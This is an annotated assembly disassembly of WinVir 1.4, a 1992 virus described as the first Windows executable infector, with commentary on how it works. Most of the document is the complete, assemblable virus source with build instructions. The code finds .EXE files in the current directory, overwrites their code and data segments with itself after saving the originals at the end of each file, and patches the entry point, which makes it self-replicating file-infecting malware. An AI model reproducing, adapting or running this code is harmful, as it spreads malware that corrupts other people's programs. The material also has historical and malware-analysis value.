; ; WinVir 1.4 disassembly by Qark ; Original virus written in the Netherlands ; by Masud Khafir [Trident] in 1992. ; ; This is an interesting virus due to the very fact that it was the worlds ; first ever windows executable infector. ; ; The virus functions by copying code from the original code segment and ; auto data segment at offset 100h and appending it to the end of the ; program. Then it places it own code and data in the corresponding ; segments. ; ; When the infected program is executed from inside windows it will search ; the current directory for any windows executables. It is very fussy about ; what it will infect, winmine.exe being one of the few programs it will do. ; After infecting all the files it can in the current directory, it will then ; disinfect itself from the program, restoring the original data, and exit ; back to windows. The user will assume they clicked the icon incorrectly, ; attempt again, at which time the program will function properly. ; ; I have heard some Anti-Virus figures claim the virus just fiddles with the ; DOS stub, but this is infact not the case. It is a full direct action ; WinEXE infector. ; ; Overall, the virus is well optimised, and it is suprising that seeing ; how well Musad seems to understand the windows executable header that he ; couldn't have contrived to make the virus return directly to the original ; host program and thus make win infection viable earlier. ; ; There is an error in the virus with an 'lseek' that isn't even used and has ; been left out of the disassembly. ; ; The disassembly won't compile to be a byte match with the virus but is ; the same otherwise. ; ; Assemble with: ; a86 +o winvir14.asm ; link winvir14; ; Don't ask me why, but even my disassemblies only work with a86 ;) ; Virus_seg Segment assume cs:virus_seg,ds:data_seg,ss:stack_seg org 0fbh ;This way the code written to the winexe will ;be org 100h start: mov ax,data_seg mov ds,ax ;--- From here on gets written to the windows executables --- cld push es ;Save ES push ds ;Point DS to ES pop es mov si,offset name_space mov di,offset name_space2 mov cx,13 rep movsb mov dx,offset dta ;Set DTA to our data area. mov ah,1ah int 21h mov dx,offset wildcard ;We're looking for this. xor cx,cx ;Any attributes. mov ah,4eh ;Find first. find_next: int 21h jc not_found mov dx,offset name_space ;Infect the file we found. call infect mov ah,4fh ;Find next. jmp find_next not_found: mov dx,offset name_space2 call disinfect pop es ;Why bother saving/restoring ES ? mov ax,4c00h ;Terminate. int 21h ;--Start of subroutines-- Infect Proc Near mov ax,3d02h int 21h jc bad_open xchg bx,ax mov si,offset buffer call file_check jc close_exit cmp word ptr [si+14h],100h ;Check winexe entry IP. Marker ? je close_exit mov ax,5700h int 21h ;Get file date and time. push cx push dx call infect_file pop dx pop cx mov ax,5701h ;Restore file date and time. int 21h close_exit: mov ah,3eh int 21h bad_open: ret Infect Endp Disinfect Proc Near mov ax,3d02h ;Open file int 21h jc bad_open xchg bx,ax mov si,offset buffer call file_check jc close_exit ;Is the IP 100h ? (This is probably the infection marker) cmp word ptr [si+14h],100h jne close_exit ;Save time/date. mov ax,5700h int 21h push cx push dx call fix_auto_data call fix_code_seg pop dx pop cx jmp close_exit Disinfect Endp File_Check Proc Near call read_file cmp word ptr [si],'ZM' jne fail_exit cmp word ptr [si+18h],40h jb fail_exit mov ax,word ptr [si+3ch] mov dx,word ptr [si+3eh] call lseek mov word ptr ne_off,ax mov word ptr ne_off+2,dx call read_file cmp word ptr [si],'EN' ;NE header ? jne fail_exit cmp word ptr [si+0ch],302h ;Program/App flags ;Make sure program is ;'unshared' and uses win ;API (why bother checking ;this ??) jne fail_exit cmp word ptr [si+32h],4 ;Windows shift alignment jne fail_exit ;Make sure the shift is ;the standard value (why?) cmp word ptr [si+36h],802h ;target OS and exe flags jne fail_exit ;Make sure it runs under ;windows, and gangload area ;(why for ??) clc ret fail_exit: stc badsize: ret File_Check Endp Infect_File Proc Near ;Read the code segment entry into cs_seg mov ax,word ptr [si+16h] ;AX=Newexe CS mov dx,offset cs_seg call read_rout ;How big is the CS ? cmp word ptr cs_length,code_size+100h jb badsize cmp byte ptr cs_attrib,50h ;requires a preloaded, ;movable segment. (why ??) jne badsize ;Read the autodata segment entry into ds_seg mov ax,word ptr [si+0eh] ;Auto data segment into AX mov dx,offset ds_seg call read_rout ;Make sure that DS is big enough for its purpose. cmp word ptr ds_length,datasize+300h jb badsize ;Lseek to the codesegment. mov ax,word ptr cs_off call lseek_2_segment ;Read in the codesegment mov dx,offset buffer2 mov cx,code_size call read_2 call lseek_end ;Write the original codesegment to the end of the file. mov dx,offset buffer2 mov cx,code_size call write_2 ;Lseek to the automatic datasegment. mov ax,word ptr ds_off call lseek_2_segment ;Read in the automatic datasegment. mov dx,offset buffer2 mov cx,datasize call read_2 call lseek_end ;Write the original datasegment to the end of the file, behind ; the original code segment. mov dx,offset buffer2 mov cx,datasize call write_2 ;Save original segment attributes. push word ptr cs_attrib pop word ptr seg_attrib ;Remove the 'relocations' setting from the segment attribute. ;This is so that the code doesn't get trashed by relocations ;that were meant for the original program. and word ptr cs_attrib,0feffh ;Write the new code segment entry. mov ax,word ptr [si+16h] ;CS into AX mov dx,offset cs_seg call write_rout ;Lseek to the start of the NewEXE header. xor ax,ax cwd call fix_file_pointer ;Save the original IP and store it in seg_ip push word ptr [si+14h] pop word ptr seg_ip ;Set the IP to 100h mov word ptr [si+14h],100h ;Write the modified NE header back. call write_file ;Lseek to the code segment. mov ax,word ptr cs_off call lseek_2_segment ;Write the virus code to the code segment. push ds push cs pop ds mov dx,100h ;DS:DX start of the virus mov cx,code_size ;Size of virus code. call write_2 pop ds ;Lseek to the auto data segment. mov ax,word ptr ds_off call lseek_2_segment ;Write the virus data to the auto data segment. mov dx,100h mov cx,datasize call write_2 ret Infect_File Endp Fix_Auto_Data Proc Near ;Read the autodata segment entry into ds_seg mov ax,word ptr [si+0eh] mov dx,offset ds_seg call read_rout ;Lseek to auto data segment. mov ax,word ptr ds_off call lseek_2_segment ;Read in the auto data segment into our data segment. mov dx,offset buffer mov cx,datasize call read_2 ret Fix_Auto_Data Endp Fix_Code_Seg Proc Near ;Restore the original CS attributes. push word ptr seg_attrib pop word ptr cs_attrib ;Write the code segment entry back to the executable. mov ax,word ptr [si+16h] ;ax=code seg call Write_Rout ;Restore original IP. push word ptr seg_ip pop word ptr [si+14h] ;restore IP ;Lseek to start of NE header. xor ax,ax cwd call fix_file_pointer ;Write original NE header back. call write_file ;Lseek to end of file. call lseek_end ;File length is in DX:AX from lseek. Subtracting will give an ;offset from the end of the file. sub ax,datasize sbb dx,0 push ax push dx ;Lseek to original saved datasegment. call lseek ;Read original datasegment into buffer2. mov dx,offset buffer2 mov cx,datasize call read_2 ;Lseek to auto data segment. mov ax,word ptr ds_off call lseek_2_segment ;Write the original data segment back. mov dx,offset buffer2 mov cx,datasize call write_2 pop dx pop ax ;DX:AX=file offset of saved original data segment. ;Subtracting will point to saved original code segment. sub ax,code_size sbb dx,0 push ax push dx ;Lseek to saved original code segment. call lseek ;Read original code segment into buffer2. mov dx,offset buffer2 mov cx,code_size call read_2 ;Lseek to CS. mov ax,word ptr cs_off call lseek_2_segment ;Write original CS back to program. mov dx,offset buffer2 mov cx,code_size call write_2 pop dx pop ax ;Lseek to original stored CS appended to program. call lseek ;Truncate the saved data off the end of the file. mov cx,0 ;xor cx,cx! call write_2 ret Fix_Code_Seg Endp Read_Rout Proc Near push dx dec ax ;Segment entry - 1 mov cx,8 ;Segment table entry = 8 mul cx ;Find the CS segment ;entry offset. add ax,word ptr [si+22h] ;Segment table offset adc dx,0 call fix_file_pointer ;Will lseek to the segment ;table entry of the segment. pop dx mov cx,8 jmp read_2 Read_Rout Endp Read_File Proc Near ;sub8 mov dx,offset buffer mov cx,40h read_2 proc near mov ah,3fh int 21h ret read_2 endp Read_File EndP Write_Rout Proc Near push dx dec ax ;Segment entry - 1 mov cx,8 ;Segment table entry = 8 mul cx ;Find the CS segment ;entry offset. add ax,word ptr [si+22h] ;Segment table offset adc dx,0 call fix_file_pointer ;Will lseek to the segment ;table entry of the segment. pop dx mov cx,8 jmp short write_2 Write_Rout Endp Write_File Proc Near mov dx,offset buffer mov cx,40h write_2 proc near mov ah,40h int 21h ret write_2 endp Write_File Endp Lseek_End Proc Near mov ax,4202h xor cx,cx cwd int 21h ret Lseek_End Endp Fix_File_Pointer Proc Near add ax,word ptr ne_off adc dx,word ptr ne_off+2 jmp short lseek Fix_File_Pointer Endp Lseek_2_Segment Proc Near mov cx,10h ;Since the virus only infects programs ;with a shift of 4 you can multiply by ;16 to get the offset. mul cx add ax,100h ;why ??? adc dx,0 jmp short lseek Lseek_2_Segment Endp Lseek Proc Near ;lseeks to dx:ax xchg cx,dx xchg dx,ax mov ax,4200h int 21h ret Lseek Endp virusname db ' Virus_for_Windows v1.4 ' VCode_End: ;The size of the code segment. Code_Size equ offset vcode_end - 100h ;$-100h Virus_Seg Ends Data_Seg Segment db 100h dup (0) ;This doesn't get written ;to file. buffer db 40h dup ('a') ;NE header is read into here. ;The code segment entry of the windows file to be infected. cs_seg: ;140h cs_off dw 'bb' cs_length dw 'bb' ;142h cs_attrib dw 'bb' ;144h cs_alloc dw 'bb' ;The data segment entry of the windows file to be infected. ds_seg: ;148h ds_off dw 'cc' ds_length dw 'cc' ;14ah ds_attrib dw 'cc' ds_alloc dw 'cc' dta db 30 dup ('d') name_space db 13 dup ('d') wildcard db '*.EXE',0 name_space2 db 13 dup ('e') ne_off dd 0 seg_ip dw 0 seg_attrib dw 0 ;1a2h author db 'MK92' buffer2 db 8 dup (0) ;1a8h Datasize equ offset buffer2 - 100h ;Size of the datasegment. Data_Seg Ends Stack_Seg Segment Stack db 2000h dup (0) Stack_Seg Ends end start